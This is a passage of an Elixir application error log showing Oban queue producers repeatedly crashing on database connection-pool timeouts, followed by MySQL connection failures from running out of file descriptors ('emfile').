    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:25:44.244629Z], limit: 10, uuid: "b00851f1-62dc-4610-ac94-6e32beaadbbf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.244635Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58747>, refresh_timer: #Reference<0.2525715032.1121189889.188869>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:25:44.239151Z], limit: 3, uuid: "0f5dba23-c314-4d1f-8449-2c2c6658352f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.239157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.58748>, refresh_timer: #Reference<0.2525715032.1121189889.188860>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:56.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:25:44.245593Z], limit: 5, uuid: "1cfebab9-b8bd-4e7a-ac8a-1bb202edda61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:44.245598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37678>, refresh_timer: #Reference<0.2525715032.1077673987.37677>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:57.334000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:00.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:01.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:05.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:25:56.248257Z], limit: 10, uuid: "f1b0cd07-7685-4b2a-aff3-eb98270dee7b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.248262Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59081>, refresh_timer: #Reference<0.2525715032.1121189889.189028>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:25:56.248080Z], limit: 20, uuid: "a9b3a100-235d-4aca-992c-b6af542f54b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.248086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.189029>, refresh_timer: #Reference<0.2525715032.1121189889.189016>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:25:56.257202Z], limit: 5, uuid: "c19fa1ef-3a1e-4f13-83ce-a1c5fc1af5b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.257208Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59084>, refresh_timer: #Reference<0.2525715032.1077673987.37870>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:25:56.247725Z], limit: 5, uuid: "0e5d82cd-32ac-4ac8-8ed1-768d30dce859", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.247731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59082>, refresh_timer: #Reference<0.2525715032.1121189889.189009>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:25:56.248140Z], limit: 50, uuid: "fb5547b5-26e4-48c0-9cff-cdfb5f8eb12e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.248146Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59083>, refresh_timer: #Reference<0.2525715032.1121189889.189024>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:25:56.250782Z], limit: 3, uuid: "e7c9d07e-0eea-4c4d-aa63-63e21dacd94a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:56.250788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59080>, refresh_timer: #Reference<0.2525715032.1068498948.59059>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:10.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:11.945000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:16.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:16.852000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:17.807000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:17.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:18.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
